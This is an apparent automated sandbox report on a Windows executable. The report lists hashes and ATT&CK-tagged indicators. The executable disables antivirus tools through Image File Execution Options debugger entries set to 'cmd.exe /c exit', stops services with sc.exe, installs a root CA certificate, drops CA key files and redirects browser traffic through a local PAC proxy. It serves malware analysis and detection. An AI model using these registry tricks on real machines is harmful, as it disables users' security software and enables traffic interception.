7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Size 663KB
Sample260805-ryqevabf68
SHA256 7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671
MD5 ff9d478d616b60b9f3bbba53b1d2716e
SHA1 fbaa361cb4f57a6dfbfb24f1c097173ab2299379
SHA512 eb575d2c3dcb6e8e30d8020e40743c18810384386dcb0b396fc400712a22d61e10ea16ef2ef9d18c586852a774132ed1c509f73d99c8d556d2907701712f3269
SSDEEP 12288:abaxAOIs3x/dtA6thplycFk8IqUqpL2BljULdUGpLk:aOKOIAPtA6tbcy4X0EayGpLk
TLSH
T17DE46C26979402BCE0B7C27ACE868D52F772780B07B16ADF079049A25F775E44E3A713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation spyware trojan

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts.yngnew	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 47 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MultiTip.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GetWordSearch.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360huabao.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Doctor.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360ts.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360FileStackSvc.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360BrowseProc.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zhudongfangyu.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsmain.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360DeepScan.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeMain.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Trash.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Doctor.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rps.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Safemon.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360SafeMain.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360TotalSec.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DumpUper.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MultiTip.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GetWordSearch.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeMain.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Safemon.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360TotalSec.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FileSync.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360DeepScan.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360SafeMain.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FileSync.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360FileStackSvc.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360RP.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sesvcr.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ZhuDongFangYu.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rps.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsmain.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeepScan.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360RP.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360BrowseProc.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360ts.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sesvcr.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360sd.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeepScan.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360huabao.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Trash.exe\Debugger = "\"C:\\Windows\\system32\\cmd.exe\" /c exit"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DumpUper.exe	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files\YouthNetGuard\mitm\ca.crt.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\ca.crt.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\ca.key.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\mitm\ca.key.pem.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\certs\parent-ca.cer	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\parent_ca.thumb.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\device_id.txt.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
File created	C:\Program Files\YouthNetGuard\redirect.txt.tmp	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2128	sc.exe
760	sc.exe
4736	sc.exe
3040	sc.exe
4048	sc.exe
760	sc.exe
3396	sc.exe
4524	sc.exe
868	sc.exe
2980	sc.exe
4284	sc.exe
312	sc.exe
3020	sc.exe
1996	sc.exe
3668	sc.exe
4132	sc.exe
744	sc.exe
1604	sc.exe
3864	sc.exe
2316	sc.exe
412	sc.exe
3708	sc.exe
4972	sc.exe
4068	sc.exe
3292	sc.exe
3408	sc.exe
552	sc.exe
3448	sc.exe
3912	sc.exe
4980	sc.exe
3240	sc.exe
4896	sc.exe
560	sc.exe
1360	sc.exe
4860	sc.exe
2648	sc.exe
4820	sc.exe
4964	sc.exe
4668	sc.exe
3728	sc.exe
3968	sc.exe
1968	sc.exe
2228	sc.exe
3416	sc.exe
4228	sc.exe
5020	sc.exe
1716	sc.exe
3744	sc.exe
3452	sc.exe
4352	sc.exe
1364	sc.exe
2316	sc.exe
2832	sc.exe
1128	sc.exe
1780	sc.exe
2192	sc.exe
3512	sc.exe
3968	sc.exe
2276	sc.exe
1920	sc.exe
536	sc.exe
3952	sc.exe
3912	sc.exe
3260	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7\Blob = 030000000100000014000000ddd35aae9cfc7b7cfb1e40ded919a9db5d3616c720000000010000001703000030820313308201fba003020102021075a7503271a65b9b47f0db53376b61fd300d06092a864886f70d01010b050030223120301e06035504030c17596f7574684e6574477561726420506172656e74204341301e170d3236303732303139303334315a170d3336303732303139313334315a30223120301e06035504030c17596f7574684e6574477561726420506172656e7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100cc51552dad42375cafdf010a8ad7f3bcbd087b88ed236ec71ae0f0bd81db3054f629e467c420ad60eede951f80308245f88db8252439743edf2f240d5ab2f32088fc7b0f66f775f5adf25b11c9c98dd47307a5f5bf25e3e3aa6bb250336dfc341954e4fa11cb44f0104260a65173405bc5028b39f39db38eea148e0d2ef985c3055873cd9edbfff619ab12d5811f37da8566533708482eecf3da7be37789de0a9e1601a9d3e84c713ab93f62fe87d7f34e4158bbef3495e000b9b9f6350b33b0970ecc8d129b31856c73b68fda0cfac6b30674f31b00a9d3019e291679432d728bc47939a97d4b38c75988852bcb4dcd5dea3f2d9b0bc53008697ad05856a53d0203010001a3453043300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d0e041604145d256cd1d115497ea8d1ef33ac1d3e31834f5077300d06092a864886f70d01010b05000382010100a9c2354588cca8cfba7946a90821b41044e7ab82e2cfbb566fdcb96b680b977120e6f0d76a1d3325aaf93f72db068285636f4820987ae09eace583360c6c15af489b44d75f68ac3ef6d61ab858b7c57219e9a81fb4fd156826c847e75365d0ef8c78c9e164452914f8e312da4d6dc31ae44aee50a5526f3db8c29ed463e5994023e7fd84a0e563150b78ba14093c3a77830dcb0bf31b6835e21d062d416c28adcfefa1548d5899bbd4a70cbc1f1afabb62a7d861cd37780e990e992251b49d5f471955714daa494b427d5944f619842121c32ec8c485711d836bd1ac424c4b30a5d3c916d67700be03cbf98d76a1f1cf5ac8e3809c54001a77900bff3afe80ff	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe

Modifies data under HKEY_USERS 21 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=78"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=78"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=78"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
